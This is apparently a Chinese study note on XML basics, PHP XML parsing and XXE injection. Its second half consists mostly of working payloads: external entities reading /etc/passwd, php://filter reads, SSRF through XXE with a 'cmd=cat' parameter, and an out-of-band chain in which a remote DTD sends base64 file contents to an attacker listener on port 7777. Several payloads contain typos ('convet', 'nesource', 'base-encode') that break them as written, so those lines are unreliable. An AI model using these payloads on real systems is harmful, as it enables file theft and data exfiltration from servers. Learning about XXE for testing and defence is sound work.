XXE讲解
XML语言基础
XML的标签对大小写敏感。
XML必须正确的嵌套。
<root> <hero> <name>妲己</name>第0个节点 <jineng>爱心</jineng> </hero> <hero> <name>亚瑟</name>第二个节点 <jineng>旋转</jineng> </hero> </root>
在文件中用到大于号和小于号,使用CDATA[]包裹起来即可,包裹之中的大于号和小于号就不会被当作功能性符号执行。
使用PHP执行XML文件
<root> <man> <name>程咬金</name> <age>2000</age> </man> <man> <name>赵云</name> <age>1700</age> </man> </root>
simplexml_load_file()函数
<?php $xml = simplexml_load_file('3.xml'); echo $xml->man[0]->name; ?>
domdocument()函数
<?php $xml = new domdocument();//实例化 $xml->load('3.xml');//加载文件 print_r($xml->saveXML()); ?>
<?php $xml = new domdocument();//实例化 $xml->load('3.xml');//加载文件 $age = $xml->getElementsByTagName('age')->item(1)->nodeValue;//读取对应的内容 $name = $xml->getElementsByTagName('name')->item(0)->nodeValue; echo $age; echo $name; ?>
混合使用
<?php $xmlfile = file_get_contents('3.xml'); $xmlDoc = new DOMDocument(); $xmlDoc ->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($xmlDoc); $name = $creds->man[1]->name; print $name; ?>
内部的DOCTYPE声明
使用DOCTYPE标签,对xml文件起约束作用。
内部声明:
<!DOCTYPE root[ <!ELEMENT root (man)>//root中只能是man <!ELEMENT man (name,age)>//man中只能有name和age <!ELEMENT name (#PCDATA)> <!ELEMENT age (#PCDATA)> ]>
外部声明:
在之后构造payload时不要有回车,不要换行。 <!DOCTYPE [ //外部声明 <!ENTITY ben SYSTEM "file:///etc/passwd"> ]
实体
普通实体
<!DOCTYPE root[ <!ENTITY ben "dazhuang"> <!ENTITY lao6 SYSTEM "http://www.baidu.com/robots.txt"> ]> <root> <man> <name>wo shi &ben;</name> </man> </root> 调用的时候使用&+ben+;
参数实体
参数实体使用%,而不是&。 <!DOCTYPE root[ <!ENTITY % ben "dazhuang"> <!ENTITY % lao6 SYSTEM "http://192.168.1.151/1.dtd">//1.dtd里面参数san %lao6//调用参数实体 ]> <root> <man> <name>wo shi &san;</name> </man> </root>
XXE常见利用手法
file被过滤
有回显
使用参数,去别的文件获取到恶意代码。
不同的方法:
1、利用参数实体检索文件
2、利用XXE命名实体及外部实体读取文件
1.dtd文件 <!ENTITY ben SYSTEM "file:///etc/passwd">
传参 <!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://192.168.1.151/1.dtd"> %xxe;]>
这样就可以获取到网站的一些文件。
3、利用XXE进行SSRF漏洞利用
<!doctype root [<!ENTITY xxe SYSTEM "http://192.168.1.6:18091/?cmd=cat /etc/passwd"]>
4、使用XXE利用php伪协议读取文件
<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/read=convet.base64-encode/nesource=/etc/passwd">]>
5、php伪协议配合SSRF
<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/read=convet.base64-encode/nesource=http://192.168.1.6:18091/?cmd=cat index.php">]>
无回显
1、a,参数实体,读取/etc/passwd
2、b,普通实体,http://kali_ip/%a;
<!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://filter/read=convert.base64-encode/resource=/etc/passwd"><!ENTITY req SYSTEM "http://192.168.1.151/%xxe;">]> 因为普通实体里面不能调用参数实体,所以需要构造。
1.dtd文件 <!ENTITY % file SYSTEM "php://filter/read=convert.base-encode/resource=file:///etc/passwd"><!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.1.151:7777?p=%file;'>">
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://192.168.1.151/1.dtd">%remote;%int;%send;]> 参数实体会触发调用1.dtd的内容。 7就是指%
打开http公网的服务,监听7777端口,再进行访问,即可查看内容。